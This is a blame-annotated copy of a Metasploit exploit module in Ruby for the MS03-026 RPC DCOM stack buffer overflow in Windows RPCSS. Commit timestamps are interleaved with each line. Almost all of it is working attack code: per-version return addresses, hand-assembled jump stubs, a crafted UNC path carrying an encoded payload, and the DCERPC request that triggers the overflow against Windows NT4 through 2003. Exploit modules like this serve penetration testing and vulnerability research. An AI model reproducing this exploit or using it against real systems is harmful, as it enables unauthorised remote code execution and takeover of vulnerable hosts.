2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-03 13:53:35 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-07-09 21:22:32 +00:00
|
|
|
require 'msf/core'
|
2005-06-05 04:37:48 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2010-05-05 15:24:43 +00:00
|
|
|
Rank = GreatRanking
|
2005-06-05 05:42:14 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
2005-06-05 04:37:48 +00:00
|
|
|
|
2005-07-11 15:34:31 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft RPC DCOM Interface Overflow',
|
2005-09-16 03:29:27 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
|
2010-04-03 13:53:35 +00:00
|
|
|
was originally found by the Last Stage of Delirium research group and has been
|
2005-09-16 03:29:27 +00:00
|
|
|
widely exploited ever since. This module can exploit the English versions of
|
|
|
|
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
|
|
|
|
},
|
2005-12-13 06:08:40 +00:00
|
|
|
'Author' => [ 'hdm', 'spoonm', 'cazz' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-07-11 16:46:47 +00:00
|
|
|
'References' =>
|
2005-06-05 04:37:48 +00:00
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'CVE', '2003-0352' ],
|
2005-06-05 04:37:48 +00:00
|
|
|
[ 'OSVDB', '2100' ],
|
|
|
|
[ 'MSB', 'MS03-026' ],
|
2006-09-13 06:49:39 +00:00
|
|
|
[ 'BID', '8205' ],
|
2005-06-05 04:37:48 +00:00
|
|
|
],
|
2005-07-11 15:34:31 +00:00
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2005-07-18 08:35:51 +00:00
|
|
|
'EXITFUNC' => 'thread'
|
2005-07-11 15:34:31 +00:00
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 880,
|
2005-07-18 03:58:29 +00:00
|
|
|
'MinNops' => 300,
|
2005-07-11 15:34:31 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
2010-04-03 13:53:35 +00:00
|
|
|
'StackAdjustment' => -3500
|
2005-07-11 15:34:31 +00:00
|
|
|
},
|
2010-04-03 13:53:35 +00:00
|
|
|
'Targets' =>
|
2005-06-05 04:37:48 +00:00
|
|
|
[
|
|
|
|
# Target 0: Universal
|
2010-04-03 13:53:35 +00:00
|
|
|
[
|
2005-06-05 04:37:48 +00:00
|
|
|
'Windows NT SP3-6a/2000/XP/2003 Universal',
|
2005-06-05 18:03:56 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2010-04-03 13:53:35 +00:00
|
|
|
'Rets' =>
|
2005-06-05 18:03:56 +00:00
|
|
|
[
|
|
|
|
0x77f33723, # Windows NT 4.0 SP6a (esp)
|
|
|
|
0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0
|
2009-12-14 17:14:08 +00:00
|
|
|
0x010016c6, # Windows 2000 Universal (ebx)
|
2005-07-18 03:58:29 +00:00
|
|
|
0x01001c59, # Windows XP SP0/SP1 (pop pop ret)
|
|
|
|
0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)
|
|
|
|
0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll
|
|
|
|
0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll
|
2005-06-05 18:03:56 +00:00
|
|
|
],
|
|
|
|
},
|
|
|
|
],
|
2005-06-05 04:37:48 +00:00
|
|
|
],
|
2010-07-03 03:19:07 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jul 16 2003'))
|
2005-06-05 04:37:48 +00:00
|
|
|
end
|
2006-09-17 08:00:37 +00:00
|
|
|
|
|
|
|
def autofilter
|
|
|
|
# Common vulnerability scanning tools report port 445/139
|
|
|
|
# due to how they test for the vulnerability. Remap this
|
|
|
|
# back to 135 for automated exploitation
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2006-09-17 08:00:37 +00:00
|
|
|
rport = datastore['RPORT'].to_i
|
|
|
|
if ( rport == 139 or rport == 445 )
|
|
|
|
datastore['RPORT'] = 135
|
|
|
|
end
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2006-09-17 08:00:37 +00:00
|
|
|
true
|
|
|
|
end
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2005-06-05 05:42:14 +00:00
|
|
|
def exploit
|
2005-11-26 02:33:39 +00:00
|
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2005-12-15 04:46:52 +00:00
|
|
|
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2005-07-18 01:47:28 +00:00
|
|
|
# Carefully create the combination of addresses and code for cross-os exploitation
|
2007-03-01 08:21:36 +00:00
|
|
|
xpseh = rand_text_alphanumeric(360, payload_badchars)
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2005-07-18 01:47:28 +00:00
|
|
|
# Jump to [esp-4] - (distance to shellcode)
|
|
|
|
jmpsc =
|
2006-01-27 21:18:52 +00:00
|
|
|
"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]
|
|
|
|
"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)
|
|
|
|
Rex::Arch::X86.jmp_reg('eax') # jmp eax
|
2005-07-18 01:47:28 +00:00
|
|
|
|
|
|
|
# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
|
|
|
|
jmpsc2k3 =
|
2006-01-27 21:18:52 +00:00
|
|
|
"\x8b\x45\x30" + # mov eax,[ebp+0x30]
|
|
|
|
"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)
|
|
|
|
Rex::Arch::X86.jmp_reg('eax') # jmp eax
|
2005-07-18 01:47:28 +00:00
|
|
|
|
|
|
|
# Windows 2003 added by spoonm
|
|
|
|
xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3
|
2006-01-27 21:18:52 +00:00
|
|
|
xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")
|
2005-07-18 01:47:28 +00:00
|
|
|
xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V')
|
|
|
|
|
2006-01-27 21:18:52 +00:00
|
|
|
xpseh[ 306, 2 ] = Rex::Arch::X86.jmp_short('$+8')
|
2005-07-18 01:47:28 +00:00
|
|
|
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
|
|
|
|
xpseh[ 314, jmpsc.length ] = jmpsc
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2005-07-18 01:47:28 +00:00
|
|
|
#
|
|
|
|
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
|
|
|
|
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
|
|
|
|
# HD wrote NT 4.0 SP6a, and it's off in a different place
|
|
|
|
#
|
|
|
|
# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
|
|
|
|
# (hopefully I'm accurate, this is from my memory...)
|
|
|
|
#
|
|
|
|
# |---pop pop ret-------- --eax---|
|
|
|
|
# V | | V
|
|
|
|
# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
|
|
|
|
# 4 4 4 5 5
|
|
|
|
# | ^
|
|
|
|
# --------------------------------------------------|
|
|
|
|
# The jmpback's all are 5 byte backwards jumps into our shellcode that
|
|
|
|
# sits just below these overwrites...
|
|
|
|
#
|
|
|
|
|
2010-04-03 13:53:35 +00:00
|
|
|
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +
|
2010-09-20 08:06:27 +00:00
|
|
|
rand_text(2, payload_badchars)
|
2005-07-18 01:47:28 +00:00
|
|
|
|
2005-07-18 03:58:29 +00:00
|
|
|
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
|
|
|
|
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
|
2010-04-03 13:53:35 +00:00
|
|
|
ntshiz =
|
|
|
|
nt4sp3jmp +
|
|
|
|
[ target['Rets'][6] ].pack('V') +
|
2006-01-27 05:00:35 +00:00
|
|
|
[ target['Rets'][5] ].pack('V') +
|
2010-04-03 13:53:35 +00:00
|
|
|
nt4sp5jmpback +
|
2006-01-27 05:00:35 +00:00
|
|
|
nt4sp3jmpback
|
2005-07-18 01:47:28 +00:00
|
|
|
|
|
|
|
# Pad to the magic value of 118 bytes
|
2010-04-03 13:53:35 +00:00
|
|
|
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)
|
|
|
|
|
2005-07-18 01:47:28 +00:00
|
|
|
# Create the evil UNC path used in the overflow
|
2010-04-03 13:53:35 +00:00
|
|
|
uncpath =
|
|
|
|
Rex::Text.to_unicode("\\\\") +
|
2006-01-27 21:18:52 +00:00
|
|
|
make_nops(32) +
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2006-01-27 21:18:52 +00:00
|
|
|
# When attacking NT 4.0, jump over 2000/XP return
|
|
|
|
Rex::Arch::X86.jmp_short(16) +
|
|
|
|
Rex::Arch::X86.jmp_short(25) +
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2005-07-18 01:47:28 +00:00
|
|
|
[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)
|
|
|
|
[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)
|
|
|
|
[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0
|
2006-01-27 21:18:52 +00:00
|
|
|
make_nops(88) +
|
|
|
|
Rex::Arch::X86.jmp_short(4) +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text(4, payload_badchars) +
|
2006-01-27 21:18:52 +00:00
|
|
|
make_nops(8) +
|
|
|
|
Rex::Arch::X86.jmp_short(4) +
|
|
|
|
Rex::Arch::X86.jmp_short(4) +
|
|
|
|
make_nops(4) +
|
|
|
|
Rex::Arch::X86.jmp_short(4) +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text(4, payload_badchars) +
|
2010-04-03 13:53:35 +00:00
|
|
|
payload.encoded +
|
|
|
|
ntshiz +
|
2005-07-18 01:47:28 +00:00
|
|
|
xpseh +
|
2006-01-27 21:18:52 +00:00
|
|
|
Rex::Text.to_unicode("\\\x00")
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2005-07-18 01:47:28 +00:00
|
|
|
# This is the rpc cruft needed to trigger the vuln API
|
|
|
|
stubdata =
|
2006-01-27 05:00:35 +00:00
|
|
|
NDR.short(5) +
|
|
|
|
NDR.short(1) +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0) +
|
|
|
|
|
2010-04-03 13:53:35 +00:00
|
|
|
rand_text(16) +
|
2006-01-27 05:00:35 +00:00
|
|
|
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0) +
|
|
|
|
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
|
|
|
|
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
|
|
|
|
NDR.long(1) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
|
|
|
|
NDR.long(1) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF)) +
|
|
|
|
|
|
|
|
NDR.long(1) +
|
|
|
|
NDR.long(1) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF))
|
2010-04-03 13:53:35 +00:00
|
|
|
|
2006-03-30 15:06:41 +00:00
|
|
|
print_status('Sending exploit ...')
|
2005-12-15 04:46:52 +00:00
|
|
|
begin
|
2011-01-11 17:56:27 +00:00
|
|
|
dcerpc_call(0, stubdata, nil, false)
|
2005-12-15 04:46:52 +00:00
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
end
|
2005-07-18 01:47:28 +00:00
|
|
|
|
|
|
|
handler
|
2010-04-03 13:53:35 +00:00
|
|
|
disconnect
|
2005-06-05 05:42:14 +00:00
|
|
|
end
|
2005-06-05 04:37:48 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|